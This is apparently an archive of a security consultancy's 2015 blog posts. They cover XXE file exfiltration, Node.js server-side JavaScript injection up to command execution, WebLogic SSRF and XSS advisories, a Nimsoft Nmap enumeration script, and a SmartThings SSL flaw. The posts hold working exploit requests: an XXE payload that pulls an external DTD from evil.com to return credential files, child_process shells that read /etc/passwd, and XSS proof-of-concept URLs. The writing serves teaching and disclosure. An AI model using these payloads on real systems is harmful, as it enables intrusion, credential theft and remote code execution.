Twitter
Wednesday
Apr292015

Automated Data Exfiltration with XXE

During a recent penetration test GDS assessed an interesting RESTful web service that lead to the development of a tool for automating the process of exploiting an XXE (XML External Entity) processing vulnerability to exfiltrate data from the compromised system’s file system. In this post we will have a look at a sample web service that creates user accounts in order to demonstrate the usefulness of the tool.

The example request below shows four parameters in the body of the HTTP request:

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 109

 

<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<firstname>John</firstname>
<surname>Doe</surname>
<email>[email protected]</email>

<role>admin</role>

The associated HTTP response contains the id of the created account in addition to the parameters supplied in the request:

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 10:57:28 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive

 

{
    “userId”: 123,
    “firstname”: “John”,
    “surname”: “Doe”,
    “email”: “[email protected]”,
    “role”: “admin”

}

Note that the web service accepts JSON and XML input, which explains why the response is JSON encoded. Supporting multiple data formats is becoming more common and has been detailed by a recent blog post by Antti Rantasaari.

A typical proof of concept for XXE is to retrieve the content of /etc/passwd, but with some XML parsers it is also possible to get directory listings. The following request defines the external entity “xxe” to contain the directory listing for “/etc/tomcat7/”:

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 233

 

<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM “file:///etc/tomcat7/”>
]>
<user>
    <firstname>John</firstname>
    <surname>&xxe;</surname>
    <email>[email protected]</email>
    <role>admin</role>

</user>

By referencing “&xxe;” in the surname element we should be able to see the directory listing in the response. Here it is:

 

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 11:04:01 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive

 

{
    “userId”: 126,
    “firstname”: “John”,
    “surname”: “Catalina\ncatalina.properties\ncontext.xml\nlogging.properties\npolicy.d\nserver.xml\ntomcat-users.xml\nweb.xml\n”,
    “email”: “[email protected]”,
    “role”: “admin”

}

The Tool

Now that we can get directory listings and retrieve files the logical next step is to automate the process and download as many files as possible. The Python script linked below does exactly this. For example, we can mirror the directory “/etc/tomcat”:

# python xxeclient.py /etc/tomcat7/
2015-04-24 16:21:10,650 [INFO    ] retrieving /etc/tomcat7/
2015-04-24 16:21:10,668 [INFO    ] retrieving /etc/tomcat7/Catalina/
2015-04-24 16:21:10,690 [INFO    ] retrieving /etc/tomcat7/Catalina/localhost/
2015-04-24 16:21:10,696 [INFO    ] looks like a file: /etc/tomcat7/Catalina/localhost/
2015-04-24 16:21:10,699 [INFO    ] saving etc/tomcat7/Catalina/localhost
2015-04-24 16:21:10,700 [INFO    ] retrieving /etc/tomcat7/catalina.properties/
2015-04-24 16:21:10,711 [INFO    ] looks like a file: /etc/tomcat7/catalina.properties/
2015-04-24 16:21:10,714 [INFO    ] saving etc/tomcat7/catalina.properties
2015-04-24 16:21:10,715 [INFO    ] retrieving /etc/tomcat7/context.xml/
2015-04-24 16:21:10,721 [INFO    ] looks like a file: /etc/tomcat7/context.xml/
2015-04-24 16:21:10,721 [INFO    ] saving etc/tomcat7/context.xml

[…]

Now we can grep through the mirrored files to look for passwords and other interesting information. For example, the file “/etc/tomcat7/context.xml” may contain database credentials:

<?xml version=”1.0” encoding=”UTF-8”?>
<Context>
    <Resource name=”jdbc/myDB”
             auth=”Container”
             type=”javax.sql.DataSource”
             username=”sqluser”
             password=”password”
             driverClassName=”com.mysql.jdbc.Driver”
             url=”jdbc:mysql://…”/>

</Context>

How it works

The XXE payload used in the above request effectively copies the content of the file into the “<surname>” tag. As a result invalid XML (e.g. a file containing unmatched angle brackets) leads to parsing errors. Moreover the application might ignore unexpected XML tags.

To overcome these limitations the file content can be encapsulated in a CDATA section (an approach adopted from a presentation by Timothy D. Morgan). With the following request, five entities are declared. The file content is loaded into “%file”, “%start” starts a CDATA section and “%end” closes it. Finally, “%dtd” loads a specially crafted dtd file, which defines the entity “xxe” by concatenating “%start”, “%file” and “%end”. This entity is then referenced in the “<surname>” tag.

PUT /api/user HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 378

 

<?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>
<!DOCTYPE updateProfile [
  <!ENTITY % file SYSTEM “file:///etc/tomcat7/context.xml”>
  <!ENTITY % start “<![CDATA[“>
  <!ENTITY % end “]]>”>
  <!ENTITY % dtd SYSTEM “http://evil.com/evil.dtd”>
%dtd;
]>
<user>
    <firstname>John</firstname>
    <surname>&xxe;</surname>
    <email>[email protected]</email>
    <role>admin</role>

</user>

This is the resource “evil.dtd” that is loaded from web server we control:

<!ENTITY xxe “%start;%file;%end;”>

The response actually contains the content of the configuration file “/etc/tomcat7/context.xml”.

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 11:12:43 GMT
Content-Type: application/xml
Content-Length: 557
Connection: keep-alive

 

{
    “userId”: 127,
    “firstname”: “John”,
    “surname”: “<?xml version=”1.0” encoding=”UTF-8”?>\n<Context>\n<Resource name=”jdbc/myDB” auth=”Container” type=”javax.sql.DataSource” username=”sqluser” password=”password” driverClassName=”com.mysql.jdbc.Driver” url=”jdbc:mysql://…”/>\n</Context>”,
    “email”: “[email protected]”,
    “role”: “admin”

}

Caveats

Note that this technique only works if the server processing the XML input is allowed to make outbound connections to our server to fetch the file “evil.dtd”. Additionally, files containing ‘%’ (and in some cases ‘&’) signs or non-Unicode characters (e.g. bytes < 0x20) still result in a parsing error. Moreover, the sequence “]]>” causes problems because it terminates the CDATA section.

In the directory listing, there is no reliable way to distinguish between files and directories. The script assumes that files only contain alphanumerics, space and the following characters: “$.-_~”. Alternatively, we could also treat every file as a directory, iterate over its lines and try to download these possible files or subdirectories. However, this would result in too much overhead when encountering large files.

The script is tailored for the above example, but by changing the XML template and the “_parse_response()” method it should be fairly easy to adapt it for another target.

The script is available on GitHub: https://github.com/GDSSecurity/xxe-recursive-download

Summary

One way to exploit XXE is to download files from the target server. Some parsers also return a directory listing. In this case we can use the presented script to recursively download whole directories. However, there are restrictions on the file content because certain characters can break the XML syntax.

Wednesday
Apr152015

Node.js Server-Side JavaScript Injection Detection & Exploitation

Late last year, Burp scanner started testing for Server-Side JavaScript (SSJS) code injection. As you’d expect, this is where an attacker injects JavaScript into a server side parser and results in arbitrary code execution.

scan.png

Burp Scanner Detecting SSJS Code Injection

 

Burp uses arguably the best method there is for detecting SSJS code injection: time delays. This is more powerful than other methods (such as echoing content into the response) as it can detect evaluation in fully blind scenarios. Another reason for favouring time delay based detection is that there are a wealth of distinct server-side JavaScript solutions and the generic nature of time delay payloads means that they may be more likely to work across a range of diverse platforms. Conversely, exploitation payloads are more platform specific as typically they tie into API calls for file system access and command execution.

 

This time based detection approach is, however, subject to false positives, so we need to be able to take a ‘lead’ like a time delay, and verify its veracity by exploiting the vulnerability. For that, we need to develop manual detection and exploitation Server-Side JavaScript payloads.

 

In this blog post I’ll discuss some example manual detection techniques taken from an article by Felipe Aragon from 2012, and exploitation techniques taken from a paper by Bryan Sullivan from 2011. Finally, I’ll build upon what we’ve learned to finish with a couple of hacked-together, but functional, Server Side JavaScript command ‘shells’.

 

Note that this blog post focuses upon Node.js; if you find you can demonstrate JavaScript evaluation through time delays, but none of the exploitation techniques shown work, you may be looking at a different SSJS solution.

 

Combining User Input With Dangerous Functions

For demonstration purposes, we’ll use the highly recommended NodeGoat purposely vulnerable Node.js web application. The NodeGoat Contributions page is vulnerable to SSJS injection; this code snippet shows why:

 

eval.png

The cause of the problem: NodeGoat’s contributions.js uses eval() to parse input  

 

The above code snippet taken from app/routes/contributions.js page shows the eval() function is used to parse user input - this is the root cause of the problem. Helpfully, an example solution is also provided in the NodeGoat source code: process user input using an alternative parser - in this case parseInt.

 

Manual Server Side JavaScript Injection Detection

So. Lets imagine we are on an engagement and have identified a potentially vulnerable SSJS injection vector. What now? Lets simplify and repeat Burp’s time delay test manually in order to verify the results and understand what’s going on. Below is a request that will cause a 10 second time delay if the application is vulnerable:

 

Note: Newlines were added to attack strings within HTTP Requests for readability
POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
 
preTax=1;
var cd;
var d=new Date();
do{
cd=new Date();
}while(cd-d<10000)

 

The above payload (taken from an article by Felipe Aragon) declares two variables: cd and d, and stores the current time in d. Then a while loop is entered into that repeatedly obtains the current time until the stored time is ten seconds less than the current time.

If executed, the payload will result in a delay of at least 10 seconds (plus the usual request round trip time). In SQL injection terms, this is more of a waitfor delay() than a benchmark(), in that the time delay is of fixed, attacker-definable duration.

 

Useful Error Messages and Enumeration of the Response Object Name

Before we move onto exploitation, lets attempt to write output into a response. While this is not a requirement for exploitation, command execution vulnerabilities are much easier to exploit when they are non-blind. Extrapolating from the paper by Bryan Sullivan we can use response.end() to write arbitrary content into the response:

 

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
 
preTax=1;response.end('testvalue9000')

This fails, returning a 500 error and the following message:

ReferenceError: response is not defined

This is both good and bad. ReferenceError is a great indicator that we are injecting into a Server Side JavaScript parser, but the error indicates that response.end is not the correct response object name. NodeGoat uses the express() API, which follows the convention of referring to the response object as res as opposed to response. However, the Express API documentation goes on to make the point that this convention does not have to be followed, so keep in mind that the response object could be called anything. Lets try calling res.end():

 

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
 
preTax=1;res.end('testvalue9000')
 
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Thu, 12 Feb 2015 14:33:56 GMT
Connection: keep-alive
Content-Length: 13
 
testvalue9000
 

Exploiting Server Side JavaScript Injection

Once we have enumerated the response object name and can write content into responses, we can read from, and write to, the file system using the techniques shown in Bryan Sullivan’s paper.

 

For example, lets grab a directory listing of /etc/:

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
 
preTax=1;res.end(require('fs').readdirSync('/etc').toString())
 
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Thu, 12 Feb 2015 14:37:12 GMT
Connection: keep-alive
Content-Length: 1439
 
.pwd.lock,X11,adduser.conf,alternatives,
apparmor,apparmor.d,apt,bash.bashrc,
bash_completion.d,bindresvport.blacklist,
blkid.conf,blkid.tab,ca-certificates,
ca-certificates.conf,console-setup,cron.d,
cron.daily,cron.hourly,cron.m
[... and so on ...]
 

As described in Bryan’s paper, we can ‘require’ new API modules as… well, required. As soon as I saw this I started looking for command execution API calls; sure enough, child_process allows us to make calls to the OS. For example, to blindly execute a command:

 

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
 
preTax=1;
var exec = require('child_process').exec; 
var out = exec('touch /tmp/q234f');
 
bitnami@linux:/tmp$ ls
q234f
 

SSJS Command Execution With Stdout

Blind command execution is all well and good, but there’s nothing quite like the immediacy and convenience of command execution with stdout in the response. The below (dirty hack) pretty much achieves this.

 

The first time the request is submitted, the shell command is executed, and the output is written to a file. You also may see see an “Error: ENOENT, no such file or directory ‘/tmp/sddfr.txt’” message. The reason for this is the asynchronous nature of Node.js; this, the problems it causes for Node.js command shells, and the solution is very well explained in this blog post by Bert Belder.

 

The second time the command is submitted, the shell output is read back from the file and written to the response. Of course, the location of the file may cause problems - an alternative approach would be to keep the file within the Node.js application directory (e.g. replace /tmp/sddfr.txt with sddfr.txt in the example below.)

 

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
 
preTax=1;
var fs = require('fs');
var cat = require('child_process').spawn('uname', ['-a']);
cat.stdout.on('data', function(data) { 
fs.writeFile('/tmp/sddfr.txt', data)}); 
var out = fs.readFileSync('/tmp/sddfr.txt'); 
res.write(out); res.end()
 
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Thu, 12 Feb 2015 14:54:56 GMT
Connection: keep-alive
Content-Length: 104
 
Linux linux 3.13.0-36-generic #63-Ubuntu SMP Wed Sep 3 21:30:07 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Our dirty hack is all very well, but the aforementioned blog post by Bert Belder heralds the arrival  of execSync “a Synchronous API for Child Processes” in Node.js v0.12. This sounds much more elegant - lets give it a try:

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
 
preTax=2;
var asd = require('child_process').execSync('cat /etc/passwd');
res.write(asd)

Nope. This fails, returning a 500 error and the following message:

TypeError: Object #<Object> has no method 'execSync'

Wait - what version of Node.js is this?

POST /contributions HTTP/1.1
Host: 192.168.2.159:5000
Cookie: connect.sid=..snip..
Content-Type: application/x-www-form-urlencoded
Content-Length: 238
 
preTax=2;
var fs = require('fs');
var cat = require('child_process').spawn('node', ['-v']);
cat.stdout.on('data', function(data) { 
fs.writeFile('/tmp/sddfr.txt', data)}); 
var out = fs.readFileSync('/tmp/sddfr.txt'); 
res.write(out); res.end()
 
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Sun, 22 Feb 2015 08:51:50 GMT
Connection: keep-alive
Content-Length: 9
 
v0.10.35
 

Node.js v.0.10 doesn’t support execSync - good thing we have our dirty hack. We build a new server with Node.js v0.12.0, and try again:

POST /contributions HTTP/1.1
Host: 192.168.2.133:5000
Cookie: connect.sid=..snip..
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
 
preTax=2;
var asd = require('child_process').execSync('cat /etc/passwd');
res.write(asd)
 
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Tue, 24 Feb 2015 20:40:07 GMT
Connection: keep-alive
Content-Length: 1966
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[... and so on ...]
 

Wrap Up

So there it is. I’ve shown how to advance from automated time based detection of SSJS injection  (e.g. a Burp scan) to manual verification via time delays, writing to responses, accessing the server file system and ultimately executing commands. Along the way, I’ve shown two potential barriers (the need to enumerate the correct response object name and the changing nature of the Node.js API) and offered suggestions for overcoming them.

Monday
Mar302015

WebLogic SSRF and XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)

Universal Description Discovery and Integration (UDDI) functionality often lurks unlinked but externally accessible on WebLogic servers. It’s trivially discoverable using fuzz lists such as Weblogic.fuzz.txt and was, until recently, vulnerable to Cross Site Scripting (XSS) and Server Side Request Forgery (SSRF). I reported these vulnerabilities to Oracle and they were patched in the July 2014 Critical Patch Update (CPU).

CVE-2014-4210 Server Side Request Forgery in SearchPublicRegistries.jsp

Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6

Oracle WebLogic web server is often both (a) externally accessible; and (b) permitted to invoke connections to internal hosts. The SearchPublicRegistries.jsp page can be abused by unauthenticated attackers to cause the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host. Responses returned are fairly verbose and can be used to infer whether a service is listening on the port specified.

Below is an example request to an internal host which is not listening on TCP port 23:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Response snippet:

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

Below is an example request to a host which is listening on TCP port 22:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Response snippet:

weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.

It is possible to abuse this functionality to discover and port scan any host that the WebLogic server can access. In the event that a discovered service returns a valid SOAP response, it may be possible to view the contents of the response.

SSRF vulnerabilities offer a world of possibilities – for example, this could be used to scan for services and resources present on the WebLogic server’s loopback interface, to port scan hosts adjacent to the WebLogic server, or to profile outgoing firewall rules (e.g. port scan an external attacker-controlled server to see which outgoing connections are permitted).

CVE-2014-4241 - Reflected Cross Site Scripting in SetupUDDIExplorer.jsp

Affected software: Oracle Fusion Middleware 10.0.2, 10.3.6

User input is reflected into a cookie value (which is set for a year!). This value  is then written into subsequent responses in an unsafe manner, exposing users to Cross Site scripting attacks.

This unusual vector circumvents current in-browser anti-XSS controls present in Internet Explorer and Chrome browsers. The vulnerability was present in registration.paypal.com, payflowlink.paypal.com and partnermanager.paypal.com; all were swiftly fixed after I reported this to the PayPal security team.

Reflected XSS in registration.paypal.com

Example Malicious URL:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

The response sets the privateregistry parameter value previously supplied as a cookie, and redirects the browser back to the SetupUDDIExplorer.jsp page:

HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8

Redirected Request:

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; privateinquiryurls=<script>alert(2)</script>; privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener; consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;

Response Snippet (showing the privateinquiryurls cookie value reflected in an unsafe manner in the response):

<td valign=top width=1%></td>
<td valign=top width=70%>
  <p>
  <h2>Private Registry:</h2>
  <h3>Search URL: <b><script>alert(1)</script></b></h3>
  <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>
  </p>

Example Proof of Concept URLs:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL

CVE-2014-4242 - Reflected Cross Site Scripting in consolejndi.portal

Affected Software: Oracle Fusion Middleware 10.0.2, 10.3.6, 12.1.1, 12.1.2.0.0

I’ve also identified two reflected XSS vulnerabilities in WebLogic’s console application. The console application is intended to manage the WebLogic application server and is not normally externally exposed; as a result, exploitation of this vulnerability would be targeted at admin users.

Example Proof of Concept URL #1 (victim must be authenticated to the administrative console):

http://[vulnerablehost]:7001/console/consolejndi.portal?_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=
com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")

Response Snippet:

<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>
</div>

Example Proof of Concept URL #2 (victim must be authenticated to the administrative console):

http://[vulnerablehost]:7001/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//

Response Snippet:

<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('/console/utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('server', null, 'myserver\u0027);alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);

Remediation

Remove access to UDDI functionality, unless there is business case to support exposing it. Failing that, ensure that the July 2014 CPU has been applied.


Disclosure Timeline
01/12/2013 - Vulnerability Reported
07/16/2014 - Vulnerability Patch Released in Oracle Critical Patch Update (CPU)

Monday
Mar162015

Nimbus Protocol Enumeration with Nmap

CA Unified Infrastructure Management, previously known as Nimsoft, is a powerful IT monitoring solution that allows for management of numerous servers across a Nimsoft domain. This solution communicates using a closed source protocol known as “nimbus”. The complexity of a Nimsoft domain can be high, but the basic idea is to deploy Robots (the software agent) on all of the servers you want to be part of the Nimsoft domain in order to remotely manage them. Additionally, the following terminology might help familiarise yourself with the solution…

Domain - The Nimsoft domain is the logical descriptor that makes up many servers formed in a hierarchical structure. The domain is made up of Hubs and Robots.

Robot - Every managed server that has Nimsoft installed on it will be known as a Robot. The Robot manages all Probes that can be configured.

Hub - As part of a hierarchical architecture, a Hub is also a Robot but has the ability to manage child Robots in a tree-like structure.  A Hub manages a group of Robots and maintains central services.

Probe - The specific program created that runs on a Robot. For example, there is a Hub probe that turns a Robot into a Hub.

Primary Hub - This is the first choice Hub for a given Robot. A Robot can have many parent Hubs, and the Primary is where most messages get sent.

(For additional Nimsoft terminology see:  http://docs.nimsoft.com/prodhelp/en_US/Monitor/7.6/NimsoftMonitorGettingStartedGuide/1860724.html)

When a Robot is installed, the service listens on TCP port 48000 by default. This high port is used for communication within the Nimsoft message bus, using the nimbus protocol. The protocol is quite complex, but what we will be looking at is what might be revealed to an unauthenticated user on the local network.

I’ve created an Nmap enumeration script that executes 4 commands with the nimbus protocol in order to gather as much relevant information as possible about the Nimsoft Robot and Domain.

  • get_info - This command reveals details about the hostname, IP address, and Nimsoft domain. In addition, the specific details on the operating system, including the Service Pack, and architecture are also disclosed.

  • _status - This command is used to acquire the specific software version of the Robot running on the server, and includes specific details regarding the SSL implementation and version.

  • gethub - This command can be used to map out the network and identify the Hub that the Robot is communicating with. It also displays information such as the IP address and name of the Primary Hub. It can be useful for mapping out a Nimsoft Domain and internal network.

  • probe_checkin - This request is similar to the “gethub” request and reveals detailed information about the Robot including its name, SSL mode, and Hub information. It also includes details of the Primary Hub.

Demonstration

When this script is run against a target host running a Robot, Nmap is able to fingerprint the target server quite effectively. The collected information includes:

  • Operating system (including service pack)

  • Server architecture

  • Server hostname

  • Nimsoft domain name

  • Nimsoft network information, including the IP addresses of the parent Hub and Primary Hub

Below is an example run against Nimsoft Snap, the lightweight trial edition, running on Windows Server 2012 R2 (I’ve also successfully tested on Windows XP SP3, and Windows 7 SP1).

$ nmap —script nimbus-info -n -Pn -p 48000 10.20.0.101
Starting Nmap 6.46 ( http://nmap.org ) at 2015-01-11 13:24 GMT
Nmap scan report for 10.20.0.101
Host is up (0.00045s latency).
PORT      STATE SERVICE
48000/tcp open  unknown
| nimbus-info:
|   status:
|     [..Nimbus Enumeration Details..]



Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Adding this Nmap script is quite simple. It can be copied either to your local directory and executed there or to the Nmap scripts directory. If you are running Kali, that is located within the /usr/share/nmap/scripts directory. Once this is finished, the new script will automatically be added when Nmap is executed with the —script argument. For reference, the Nmap search path for executing script is as follows:

  • —datadir

  • $NMAPDIR

  • ~/.nmap (not searched on Windows)

  • the directory containing the nmap executable

  • the directory containing the nmap executable, followed by ../share/nmap

  • NMAPDATADIR

  • the current directory.

(See http://nmap.org/book/nse-usage.html for more information)

The source code is available for download at the following URL: 


Hopefully this was of interest and helps you on your nimbus network enumeration!

Wednesday
Mar042015

SmartThings SSL Certificate Validation Vulnerability

The Labs team at Gotham Digital Science recently conducted independent research into the SmartThings platform as part of an ongoing effort to identify security vulnerabilities in “Internet of Things” devices and assist vendors in the preparation of appropriate fixes.

During the course of this research, a vulnerability was discovered in the SmartThings Hub device that could allow attackers to intercept and modify communications between the Hub and the SmartThings backend servers.  This vulnerability has been patched by the vendor and updated firmware has been pushed to existing Hub devices.  GDS would like to thank SmartThings for their responsiveness and efforts in remediating this issue.

Details

The communications between the SmartThings Hub and the SmartThings backend servers is encrypted with SSL. However, the SSL client implementation in use does not validate the authenticity of the SSL certificate presented by the server during the initial handshake. An attacker with the ability to monitor and intercept traffic can present a “forged” SSL certificate to the Hub claiming to be a legitimate backend server, which the Hub will accept as genuine. This makes it possible to perform a “man-in-the-middle” attack, whereby an attacker relays communications between client and server without their knowledge. In this scenario, the communications are available to the attacker in an unencrypted form and may be modified or disrupted, effectively defeating the protections offered by SSL encryption.

Secure and authenticated communications are vital to a platform such as SmartThings, which may be used as part of a home security system. As an example, the Hub transmits a data packet when a SmartSense Open/Closed Sensor opens. By simply not relaying this data packet, an attacker can prevent notification of this event from ever reaching the SmartThings backend servers, which in turn prevents notification being delivered to the end user.

A potential mitigating factor is the lack of WiFi communication used by the Hub, making traffic interception more difficult as it requires that an attacker be physically connected to the same network as the Hub or for interception to occur during transit over the Internet. However this does not offer complete protection, as several home networks make use of WiFi bridges or repeaters. An attacker may also have compromised another device residing on the network such as a router or personal media server that may be used to perform traffic interception.

Disclosure timeline:

11/10/14 - Initial report to vendor
11/11/14 - Report acknowledged
11/21/14 - Vulnerability confirmed
01/29/15 - Updated firmware rollout begins
03/04/15 - Public disclosure